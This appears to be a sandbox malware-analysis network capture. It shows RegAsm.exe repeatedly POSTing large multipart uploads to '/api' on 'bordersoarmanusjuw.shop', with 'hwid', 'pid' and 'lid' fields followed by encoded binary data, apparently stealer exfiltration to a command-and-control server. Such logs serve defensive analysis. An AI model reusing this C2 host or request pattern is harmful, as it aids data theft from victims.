2024-04-21 13:31:27 UTC	818	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 13:31:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5sp8a0nuj3pj2t5bn28919gbrm; expires=Thu, 15-Aug-2024 07:18:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0z8YOU6Irrh%2FnMTvtdeXC4kcwMpZXoJQxw09RviJX%2BS96pf1kPKGyW13ZPuSX1q4baY3rFLdOMBMM8lB7k685556p3jASBW50Zb75WiO%2FXrfK25v%2F2V6Nq%2Ba%2B0mdVwPf4R9fcQ4BEdX4nA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877dbc04ec6bb045-ATL alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49764	172.67.189.66	443	5856	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 13:31:27 UTC	290	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 584853 Host: bordersoarmanusjuw.shop
2024-04-21 13:31:27 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 37 39 42 32 46 46 31 41 46 41 37 34 45 30 38 42 33 39 39 35 32 33 42 36 32 37 33 46 42 46 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"879B2FF1AFA74E08B399523B6273FBFA--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-04-21 13:31:27 UTC	15331	OUT	Data Raw: 26 3a e3 52 b8 55 3a 81 7a a0 c3 65 97 4b aa 7f 57 0f d7 38 70 6c ff 7b e4 20 c4 00 62 3a a7 43 3d 02 40 22 1c b6 99 87 18 c7 a4 c1 3e d8 3f 22 18 c3 fb 4b ae ce 9e 3e b6 0f b5 6e 16 c2 3e 21 08 6d e1 43 de 64 64 22 e0 1b aa 85 92 e0 fd 61 72 65 17 3f 88 d3 61 de 0f c3 10 f6 1b 57 d2 90 9a 56 20 74 1f c7 d5 91 31 b5 f6 40 0b 29 fd 38 98 21 9b a3 c6 ac 5a 47 0a d6 56 13 cf fc 6e b7 66 7f 75 92 09 0d 88 d5 a0 56 40 c7 f2 b9 81 4f 1b fb bb ab 3b cf cd d7 b8 7e ba f6 56 fc 7c 93 f6 5c 54 b5 dc ba fc 94 4e 48 fc 5e 83 91 bb f6 32 14 12 23 03 0d 8b ad a8 4d e5 2e 03 9f 7d d4 63 48 7f ae a3 ee 45 2e 6c e5 12 f5 d2 4c 82 4a 64 ad 20 d2 48 43 dd 97 c4 2f 9c 11 7d e7 b7 7a 4f ee f9 5a b7 24 85 1b 87 86 f4 62 4e ef a7 22 12 4a 82 bf 7c c9 de 2b 53 b4 c1 15 ca d9 4c Data Ascii: &:RU:zeKW8pl{ b:C=@">?"K>n>!mCdd"are?aWV t1@)8!ZGVnfuV@O;~V\|\TNH^2#M.}cHE.lLJd HC/}zOZ$bN"J\|+SL
2024-04-21 13:31:27 UTC	15331	OUT	Data Raw: be 26 1b fc f0 79 bc 31 8b c9 4d 8e 14 3a a6 db c7 10 df fe ec f5 bb 0a 84 e7 02 a3 9b ff c1 6b ef 58 2d d4 59 c3 6a 6a 52 a7 a3 e4 46 6a 63 c0 72 0a 95 f0 4b 6a 38 dd 38 40 fa 24 bc a1 1f 66 1c 4b f0 c2 90 50 0b c7 6f 35 47 6a cd 84 1f ea 30 86 fd db f4 a2 57 bf a1 a3 bd 7c b8 f6 95 68 4b ef 15 39 6d e5 2c 1d ec b3 8f 34 37 fc 2c 92 d4 cb 6f e3 c5 d7 96 7b 68 2b c3 cb 7c 7c 67 58 ff a5 85 39 37 d1 c7 1d 5c cf 92 d8 39 a3 91 92 a6 c3 01 cb 13 83 c5 c5 5b 9d 3f b3 05 0d 06 6e ff 39 25 e0 db b1 9c df 44 34 29 e9 24 bd 64 35 51 9d 63 b5 90 f9 9b 14 b3 fe 66 39 fe a5 1c 2a e2 51 69 52 aa 49 f4 c6 d9 b9 8f 3a 5c 06 dc 14 8b 6e fd 08 d2 b8 40 aa 47 68 42 ed 93 ab fc f3 fa 8a 1e bd 7a 23 dd 02 2e 7d 25 d2 0f 87 99 34 85 96 e0 50 2c 91 ae c7 5f 56 15 92 1e d4 e9 Data Ascii: &y1M:kX-YjjRFjcrKj88@$fKPo5Gj0W\|hK9m,47,o{h+\|\|gX97\9[?n9%D4)$d5Qcf9*QiRI:\n@GhBz#.}%4P,_V
2024-04-21 13:31:27 UTC	15331	OUT	Data Raw: 3f c9 a3 12 73 f7 12 fe a7 45 82 a4 6e 97 b6 aa c6 49 90 57 68 1c 17 fd 48 a3 05 d3 6e e5 97 f0 97 43 52 55 1b bc 51 5d 15 31 62 e0 d7 89 2b 64 75 7c 1d fa 77 a2 3e f3 3b 20 78 af cb b7 43 9b de 39 cd 47 d8 9e ad a1 d1 3c bc a1 85 25 5c db 87 ae 58 26 58 a6 92 c5 48 8e d4 5c 5f db c1 68 b1 dd 65 82 00 ee 6d 80 0d 6c 89 a0 df 58 26 2e f1 ab 29 20 49 92 29 4e 41 f3 74 2f 80 69 d3 c3 1b 53 8b 68 f3 81 c1 b0 80 f7 8f 8e de f9 c1 3a 00 54 c2 cf 0a 01 54 53 56 dc cd 8a 06 e5 89 c7 df db 2e cc 6b 55 6e f4 41 a4 84 cd 1c 11 f8 7d 0b 3d 09 b8 91 f3 83 da 5a e1 9a 98 97 2e 6b cd b8 f2 ef 7f 41 8e 25 32 6d 7c 39 a4 c4 c2 ad a4 e7 66 87 ad 17 39 6a e1 52 e2 cb 5f 0f 85 92 00 9b c8 a8 61 cf cc 5c ad 48 78 14 ec 34 b9 eb 2f f9 68 b6 90 69 84 82 b2 25 14 be ad 96 71 ad Data Ascii: ?sEnIWhHnCRUQ]1b+du\|w>; xC9G<%\X&XH\_hemlX&.) I)NAt/iSh:TTSV.kUnA}=Z.kA%2m\|9f9jR_a\Hx4/hi%q
2024-04-21 13:31:27 UTC	15331	OUT	Data Raw: ce f7 8a 6b 6c c0 92 10 ec da 40 ea 51 ac 02 4d be 1b bd 7e f7 98 a9 0a f6 f7 ca c0 05 5e 8d 28 b2 05 29 c7 2e 94 cb 95 18 8e da 28 e1 89 32 af 64 6a 48 db 5d a0 e6 38 6a 90 b2 60 78 93 5d 8c 62 d1 9e c2 f8 61 59 8e 03 1b 31 df 5b ca 38 e5 68 ae 8f a6 9f e3 79 e1 53 f7 b1 f3 ec e5 61 f2 31 05 b2 0e bc 3f a2 31 5c b5 b9 c1 18 2f 87 cd 76 ed ce 2b aa 44 71 f3 ef 1c 3b b5 07 09 1b 6a 8f bb 97 67 20 77 27 54 74 49 79 df 6e 21 83 cd 9e 81 16 3d 8d 44 a3 82 5d 76 0a f2 c3 e4 24 ee 4e d1 c9 8c 3b fb df b7 3e 26 62 76 32 5d 8c e0 51 6c df 46 3e 55 30 5b 70 3b 36 d6 17 7e ed 24 3a d1 e8 f0 bc 75 76 53 58 20 23 6e 38 3b 10 25 cc aa a8 20 bd 39 e3 40 db ee 7d 28 80 f4 9d b3 1a 8c d1 69 cc ff 49 08 14 be f6 45 6f 8f a0 0c 12 dc 4f 7b 46 ba b7 71 90 a3 d0 ce c3 ea ec Data Ascii: kl@QM~^().(2djH]8j`x]baY1[8hySa1?1\/v+Dq;jg w'TtIyn!=D]v$N;>&bv2]QlF>U0[p;6~$:uvSX #n8;% 9@}(iIEoO{Fq
2024-04-21 13:31:27 UTC	15331	OUT	Data Raw: b6 ab 52 86 75 7d 03 d6 ad aa e0 bc 35 91 3e c2 6f 7a f6 0b a1 ff 01 ca 83 6f 5e 87 65 09 a5 9a 18 34 e3 0a 17 2c ed 42 a7 38 fc 45 bc bd 9a 3d bb 9a 4e 1c 4e 0a 8a 44 38 f1 a4 79 a3 96 2e 29 a6 fb b2 fe 92 4b 9c 33 6e e6 2e 6b 22 ae 9b a5 36 6f 2b 31 32 a6 e3 00 8e 81 fb 79 74 7a 0d c6 0e 12 f1 a3 3f b0 85 5b 53 26 ed 35 38 b3 60 c5 26 ae e9 ef 88 1a 86 55 70 24 fa 61 cf 6e 37 a5 da ea 4b c1 50 3e ac 4b fb f9 75 17 bb f7 e6 e0 63 97 37 6d db 59 a6 74 b7 97 1b f5 57 85 4b c0 a2 a6 18 18 7e d5 ac 28 a5 72 5e ed 75 cb e5 fd af bf 2a de 6e 66 9a 13 16 5a e1 6a 06 93 a5 65 81 19 ea 4c f5 7f 18 b0 d8 44 8a f5 03 eb 6b 22 be f2 bd db 01 85 f3 3f b4 5f b7 95 7e 39 e6 44 67 51 e1 87 6d 87 e3 4e 54 af a0 23 65 7f 14 31 99 78 d1 81 4a ff 2f 48 7f 9a 86 ac 76 4e 5c Data Ascii: Ru}5>ozo^e4,B8E=NND8y.)K3n.k"6o+12ytz?[S&58`&Up$an7KP>Kuc7mYtWK~(r^u*nfZjeLDk"?_~9DgQmNT#e1xJ/HvN\
2024-04-21 13:31:27 UTC	15331	OUT	Data Raw: 53 89 b7 8d c2 69 7a 5d 2d 66 e1 bc c2 e2 6b 8b 49 c5 e8 72 c3 7f 1d df ec 21 86 05 fc 55 c8 3a 83 eb c3 02 53 61 98 b7 40 2c 31 70 f5 e3 da 62 44 52 0e 3f de 15 dc 57 7b f8 aa 4c 68 f1 74 13 02 25 96 53 87 57 13 33 bc 08 5c d2 53 b5 b0 ae 06 52 b9 e4 fe 2f a7 6b 84 24 38 1c 43 69 9b c8 65 5a 20 70 df df cd 8c 26 7d 0b 90 ee ef 28 a5 c2 05 5a 3b b5 18 2c eb 2b a7 d4 1a 31 1d 5d 48 e7 11 af af ef 9a db 22 f8 6b 20 d9 72 2b 27 65 83 cb 7d 00 82 23 ff 98 fb a7 e8 c2 f6 8f 96 20 ad 9b 80 b2 da 69 7d 18 e4 6f 61 3d be 80 85 74 31 c0 d3 47 cd d3 02 c4 34 e5 dc 2e 18 ef 7a 6d af 76 99 5b db 79 5f f0 9a af 64 8d 21 18 ce a9 81 5a 0f b6 66 bf c4 9d 00 d8 06 cc 90 02 55 5e 0c 88 b0 17 ff 1e ea 03 40 e1 05 58 18 4b 3d 82 64 ac 1d 91 99 95 cc ef fa 00 00 bd 4b 19 88 Data Ascii: Siz]-fkIr!U:Sa@,1pbDR?W{Lht%SW3\SR/k$8CieZ p&}(Z;,+1]H"k r+'e}# i}oa=t1G4.zmv[y_d!ZfU^@XK=dK
2024-04-21 13:31:27 UTC	15331	OUT	Data Raw: df 93 1a ad 6a 2f 90 49 59 9e f8 99 ea 28 3f 10 69 77 2d 3f 3d 0d 9d 33 8f 9f cb 54 23 8c 4b 63 11 5c a9 23 87 5e f4 d8 0f 84 1b 62 ec ba 3a 95 ac cb 9a dc 67 f4 32 33 4a 91 7d b2 fb ba 02 d3 69 7b 11 8c 52 b1 ae fb e5 3c 53 16 12 63 ea d2 cc 03 c6 6e 57 4a fd 67 5a bd 1a 5d 67 1f 1c aa e0 eb b6 81 f0 b8 ae 2f ae ff f0 20 b9 e0 21 d6 ce 59 fc 37 b2 a6 c5 c1 9b ce d3 cc 21 57 e2 d8 6c 5a f2 9c c2 b3 9e c0 55 2b 9b 5b 54 2c 25 f0 eb b5 a0 d9 bf bd 64 13 ea c5 2c a3 2b 10 b0 7b 18 39 97 f3 a5 9f 83 5f 9e 0d 96 ab 96 1a ea 53 59 67 2d 3f d3 55 18 52 0b 07 6d bc 40 5b 96 36 c3 c7 44 f1 2d e7 eb c1 6f c1 6f 7e d0 36 2f 2d 0c 1e 0d 81 58 3e a1 ed 6c 45 aa 2f 39 9d dc ab cb 89 bb f1 e5 ce ee 47 9c 0d 89 ec 4b 67 30 6b 57 9c e6 76 75 ce b8 97 b7 0f af ce 0e 33 ea Data Ascii: j/IY(?iw-?=3T#Kc\#^b:g23J}i{R<ScnWJgZ]g/ !Y7!WlZU+[T,%d,+{9_SYg-?URm@[6D-oo~6/-X>lE/9GKg0kWvu3
2024-04-21 13:31:27 UTC	15331	OUT	Data Raw: d9 8d ed 57 07 5e 7a 18 9d 92 74 4a a1 b3 a0 f5 ee 2d 1f 56 47 47 4f ad a3 40 0e 60 d7 3d ff e6 bd e2 3b 1f e1 c4 76 35 a6 8f fc 5a 7f 96 8b 34 d8 70 3f 02 48 2a c4 f6 3f 1b 59 bb ed dc 05 c4 05 10 b2 27 2f cf 9a fa 41 a5 77 b1 3e cf d2 a5 ef 38 58 65 38 67 1b 0b 0b c3 b6 a3 d5 51 21 97 bf d4 1c 96 52 a2 7b 71 4a 12 28 e8 68 43 1e 5e ec 82 69 6e 1b a3 51 98 c1 0e 91 c3 5e ac 49 c1 34 eb 17 5a 86 06 3d d3 e0 e4 50 6f 3c fb 57 a2 39 34 ec 0e 35 65 2a fb 04 df 6a 33 e0 d9 8e d6 9a 8a 6a 8a 51 b5 36 3a 62 b5 2f 10 dd 41 af 5f f3 5c 40 7a b0 21 f3 32 7c 5b ff d6 4f 62 02 4e c0 1b af 2a 7b d4 80 ef e9 bc 46 16 ba 52 33 11 e6 65 9b fa 4b da e6 55 b4 1b 8e f0 29 42 d2 97 1a f9 a9 cb cb 32 9f 88 d2 b8 49 65 b2 50 07 a0 18 f2 ca 04 92 89 17 48 42 94 fd 02 79 6f 6b Data Ascii: W^ztJ-VGGO@`=;v5Z4p?H?Y'/Aw>8Xe8gQ!R{qJ(hC^inQ^I4Z=Po<W945ej3jQ6:b/A_\@z!2\|[ObN*{FR3eKU)B2IePHByok
2024-04-21 13:31:27 UTC	15331	OUT	Data Raw: 79 72 84 b0 72 d8 61 ed 40 9a 6a cc ec c5 b2 c3 f3 ad 93 55 db ed 9e ee 8e 21 6d b9 ec bb ae af de 65 eb 26 07 6c 1f f0 92 9d 7c b6 10 b1 6a 3b 88 1a 31 48 38 77 46 ea 49 ee 42 fe 5b 43 ff 1a ce c1 0d 6d 0b bf 9e ec 32 86 32 61 3a 6e eb f7 d3 ef 56 1d f6 d6 b2 19 b9 29 ab 01 0f 85 55 25 c6 b4 65 c2 e1 9e 62 89 cf 22 e9 72 af 6a 10 81 94 80 bb 66 1a eb d1 c6 98 23 2b 1a 43 0c 0f b8 80 58 4a a4 1c 1f 4c 4e 8f a4 33 b7 9e ba 99 43 b0 60 b4 8e b2 3f f3 d1 26 62 f7 ac a5 a3 51 74 67 76 2f ca 4c fc bc 4f fb 79 3a 1d 4e ab af 4c f1 b4 37 f5 b0 8e d4 e6 c4 ee 18 e8 81 22 8f b0 1f 7b 78 f6 42 a7 29 87 74 96 07 82 58 bd d1 4c 03 99 0f 17 75 dd 1e 89 e7 33 62 5b 9c 69 88 10 df 35 db 68 c7 f1 c2 60 96 f0 2e 7c f2 56 e3 21 52 93 78 04 9d 15 a0 9c e1 98 cc 32 a5 b9 ca Data Ascii: yrra@jU!me&l\|j;1H8wFIB[Cm22a:nV)U%eb"rjf#+CXJLN3C`?&bQtgv/LOy:NL7"{xB)tXLu3b[i5h`.\|V!Rx2
2024-04-21 13:31:29 UTC	824	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 13:31:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kdrqkph8e5pneccuef64j0qrpb; expires=Thu, 15-Aug-2024 07:18:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=biVAmSU6HO6LNj9leIBbFYoVEAfFz2BH4dqFs93%2FfL%2Btt%2BzXQ%2B%2F1ZaHjBGVGyZdhTAvR9kqlnN1vhfp9ccpDRxDpJXwd%2FqTrKKsWA8INpdEnL%2BPf8%2FuswlZhsVM%2BUTAtRQMkSDVcm1mG5w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877dbc0a2aaf184b-ATL alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49765	172.67.189.66	443	5900	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 13:31:28 UTC	290	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 585358 Host: bordersoarmanusjuw.shop
2024-04-21 13:31:28 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 37 39 42 32 46 46 31 41 46 41 37 34 45 30 38 42 33 39 39 35 32 33 42 36 32 37 33 46 42 46 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"879B2FF1AFA74E08B399523B6273FBFA--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-04-21 13:31:28 UTC	15331	OUT	Data Raw: 3a f3 62 84 75 06 81 7a a0 c3 75 97 6b 5a 40 57 0f d7 38 70 ec fe 7b e4 20 d4 10 62 ba 64 40 3d 02 40 22 02 b6 9d 87 18 47 a5 c1 3e 38 20 32 04 c3 fb 4b ae ce 81 3e b6 0f b5 6e 1e ca 3e 2e 08 6d e1 43 df 64 3e 43 c0 d7 d5 0a 25 c1 fb 43 e4 ca 2e 7e 10 af cb bc 17 8e 21 ec 37 a9 a4 21 b5 ac 41 d8 3e 8e 9b 13 63 6a ed be 36 52 fa 51 08 43 36 47 9d 59 b5 8e 14 ac ad 26 9e fe dd 6e c3 fe ea 2c 13 16 18 a7 49 ad 80 8e e6 73 03 9f 36 f6 77 37 0f 9e 1b af 71 fd 74 9d ad 84 f9 26 9d b9 e8 6a b9 75 f9 29 dd d0 84 bd 86 23 77 1c 64 28 24 46 26 1a 16 5b 51 9f ca 5d 06 be fb a8 47 91 01 5c 47 dd 8b 5c d8 ca 25 ea a7 9b 06 97 c8 5a 43 a4 91 86 ba 2f 49 5f 38 23 06 2e 6f f5 1f df f5 b3 69 49 8e 30 09 0b ed c5 9c da 4f 45 24 96 84 7c f9 92 bd 57 a6 68 83 2b 94 b3 99 16 Data Ascii: :buzukZ@W8p{ bd@=@"G>8 2K>n>.mCd>C%C.~!7!A>cj6RQC6GY&n,Is6w7qt&ju)#wd($F&[Q]G\G\%ZC/I_8#.oiI0OE$\|Wh+
2024-04-21 13:31:28 UTC	15331	OUT	Data Raw: 5f 95 0d 79 f0 3c c1 84 c5 e4 26 47 0a 1d d3 ed 63 88 6f 7f f6 fa 5d 01 c2 73 41 31 cd ff e0 75 76 ac 17 ea 6c 60 75 75 a9 53 d1 72 23 b5 b1 60 39 95 4a f8 25 35 9c 61 12 28 7d 02 de 30 08 37 89 23 78 63 48 a8 85 63 37 9b a3 b4 67 22 94 3a 4c e0 80 36 fd 98 d5 6f e8 18 6f 5f ae 7d 25 da d1 7b 45 4e 59 bb 48 87 f8 ee 23 cd 0d 3f 8d 22 f5 f2 db 7a f3 b5 e5 2a 6d 65 7a 5b 8c ef 0c 1b bc b4 b4 e0 26 fa b8 83 eb 59 12 3b a7 35 53 d3 75 39 60 79 62 b0 b8 78 ab f3 67 b6 a0 e1 c0 ad 3f a7 04 7c 3b 9a f3 9b 88 26 25 9f a0 97 ac 26 69 70 ac 17 9e fd 26 c5 ae bf 59 4e 78 29 87 8a 7c 58 9a 9c 66 1a b3 71 66 ee a3 2e 97 01 37 c5 a1 5b 3f 82 74 2e 90 ea 11 9a 50 ff e4 26 ff bc be a2 47 bf de 58 af 80 4b 5f 89 f4 43 e1 a6 4d 61 25 38 14 4b a4 eb d1 97 55 85 e4 fb 75 06 Data Ascii: _y<&Gco]sA1uvl`uuSr#`9J%5a(}07#xcHc7g":L6oo_}%{ENYH#?"z*mez[&Y;5Su9`ybxg?\|;&%&ip&YNx)\|Xfqf.7[?t.P&GXK_CMa%8KUu
2024-04-21 13:31:28 UTC	15331	OUT	Data Raw: d7 54 bd d3 41 2d 4c 73 2b c7 dc b9 48 f8 69 9e 20 a1 d3 a3 a5 a2 7e 0a 14 96 18 c5 45 3f 50 ff 8e a5 5a fa 27 fc e1 90 54 95 66 6f 54 4f 4d 8c 28 f8 75 e2 72 8e 1a a1 11 d3 95 a8 c7 fc 06 88 de 1b 72 54 68 cb 3b ef cb 11 b6 67 5b 68 34 37 4f 68 49 05 7a e7 d0 65 8b 04 8b b4 1c 51 b2 03 a5 c0 cf 7a 28 5a 74 77 95 00 80 7b eb e3 82 be 47 d0 7d 57 48 cb 7c aa f2 48 b2 44 aa e3 8d 05 ba 17 c0 b6 eb 12 8c 28 a5 b4 85 a0 60 58 e0 9b 07 47 6f ff 60 1d 00 ca e1 67 05 01 aa 35 3b ee 7a 4d b3 d2 d4 c3 6f ed 1e 0b 9a b5 9b 03 10 39 61 2b 4f 18 9e 6c ae 2b 0e 37 74 ba d7 d0 20 54 1f 93 ef bc fe 05 5f fd ed 0f c8 b3 40 a6 4f ae 84 54 98 bb 56 f4 5d ef b0 f6 ca 89 5a bc 98 98 ff eb be 60 12 60 93 18 f5 ec b9 b9 2b 35 09 0f 82 1d a7 77 fd c9 39 9a 2b 68 12 21 af 64 01 Data Ascii: TA-Ls+Hi ~E?PZ'TfoTOM(urrTh;g[h47OhIzeQz(Ztw{G}WH\|HD(`XGo`g5;zMo9a+Ol+7t T_@OTV]Z``+5w9+h!d
2024-04-21 13:31:28 UTC	15331	OUT	Data Raw: 40 79 d0 d7 64 80 f1 fd 10 d6 f9 1c cc 1d 19 8f bb d8 98 17 24 f8 eb b3 05 a6 d0 df 4d 34 2a 36 93 e4 ac d0 a7 74 10 59 4e b6 a1 06 a4 a8 50 10 91 92 d0 2d d3 49 99 40 e6 b2 c4 08 f5 20 82 7f 66 a3 d9 9b 90 04 c5 ff ef 70 77 b0 75 7c a9 f5 2c b1 4e 36 3a 18 41 0e 5c af f1 ec 5c b1 3a cf 37 89 1b f4 54 4c a8 42 f6 9e 74 7a 1a 45 3a 18 17 3e c0 eb 4d 97 58 7d 87 e3 60 83 50 32 f9 86 4b 7e fd ac e4 9e c3 76 a0 90 62 0d e1 c6 ea 6c 5c bf 97 a2 c3 af 48 60 da c7 ae 26 1e 99 9e f0 08 50 1b a7 28 af 94 9d 24 c4 85 93 49 da fb 8e db e7 06 ec cb ae 3c 6c cb 32 e1 c0 18 22 c1 50 38 ea f2 78 29 0c 4f 36 9e df 25 d4 c4 57 78 54 5e 79 a5 a3 5a 2d 4a 76 b1 7b 59 2c 3a a6 47 c2 72 93 36 05 7b 7a d6 25 6b d1 d3 4a 5f 98 f2 4e 21 48 60 40 bc d4 3c a6 fb bf 42 c1 f1 54 43 Data Ascii: @yd$M4*6tYNP-I@ fpwu\|,N6:A\\:7TLBtzE:>MX}`P2K~vbl\H`&P($I<l2"P8x)O6%WxT^yZ-Jv{Y,:Gr6{z%kJ_N!H`@<BTC
2024-04-21 13:31:28 UTC	15331	OUT	Data Raw: 67 f0 a0 b8 c5 88 83 05 de ab dd 75 04 8a 59 a2 70 e5 84 dc df ae 5a 1d 4a a9 31 91 97 58 39 44 dc 19 62 aa fb a5 f8 fb 2b 00 42 b6 c9 88 7c 56 a5 b8 48 b0 3b 83 29 89 57 c4 ea 68 4d 9a 34 e2 97 ee fa 6a 39 ce 94 b3 ad 79 a3 fc 8f 6a 64 f2 01 12 9d f6 fd 5e 92 21 2e 25 5f eb d6 5e 36 49 3c 5e 0f ec 93 7a 55 54 d8 6c 56 47 d8 3a 18 39 6f 2b 84 8a 3b f5 ca 6e ac 46 93 df 6a 00 bb 2e d3 42 bf 83 c2 5c 8f 4f af 67 3b 24 81 33 23 ca 13 bc 3d 0c db f8 86 0d aa 0c ef ad a7 cd 20 39 4b cf 35 f4 98 43 b4 fc 5f b1 ed 62 67 49 4d a0 e4 21 d1 6c df 8e d5 79 b3 7b c8 76 d3 c6 0d 32 bc 25 9a 26 db cb c9 a8 bb 01 5c 71 06 c4 32 af b8 3e 18 11 b0 d8 8b f8 bb 4a 9e 7a c7 c5 29 fe 32 ab 56 43 27 7a 83 ac c1 b6 91 93 db 8b fb 40 b7 79 11 ed 7d d5 c0 60 9f 0e 58 ef f8 9a 03 Data Ascii: guYpZJ1X9Db+B\|VH;)WhM4j9yjd^!.%_^6I<^zUTlVG:9o+;nFj.B\Og;$3#= 9K5C_bgIM!ly{v2%&\q2>Jz)2VC'z@y}`X
2024-04-21 13:31:28 UTC	15331	OUT	Data Raw: f9 8a 3d a4 55 a5 e8 50 f1 30 33 67 fe f8 16 d6 1d 92 6b 45 b7 1a 09 9e 0e 56 e4 c8 1b 20 d4 62 62 db c7 16 90 eb 6d 1b 39 f3 04 0b f3 f0 37 93 00 15 0d 23 2e 96 76 74 60 a4 99 37 f3 35 32 99 54 74 7c 1a 74 30 27 b7 66 a7 3b 3c cd 40 53 84 44 2c 57 b8 93 93 ea b3 b6 71 30 95 35 cd d9 46 df 0b 88 14 53 3a 01 41 cc 6f 83 ec ef b9 e2 bf 5b f8 06 de 67 da a3 2c f0 8d bf 70 13 12 a7 c6 6a a4 00 9e 92 1e 15 1c ff 51 85 d6 61 6e 16 69 26 cc 07 c2 6a f3 ba 75 79 3f 6b f4 10 a7 f4 33 2c 88 69 33 ee d9 75 d1 f1 42 ec bb 67 fa 23 07 55 be eb fc 82 8b 90 9a 1d 7d ec 68 8c 0f 8a 92 85 2d 82 f7 4c a8 10 f8 70 91 fd 3b fb 4c 17 3a fe 30 c5 44 b6 fe b4 53 1c 6b d7 75 08 21 74 f1 0a 56 f6 be ca 3e 50 d2 6a ad 18 7d 58 45 c4 2e 73 be 7f 97 2b 46 98 bf 4a 15 d1 fc 12 4c 37 Data Ascii: =UP03gkEV bbm97#.vt`752Tt\|t0'f;<@SD,Wq05FS:Ao[g,pjQani&juy?k3,i3uBg#U}h-Lp;L:0DSku!tV>Pj}XE.s+FJL7
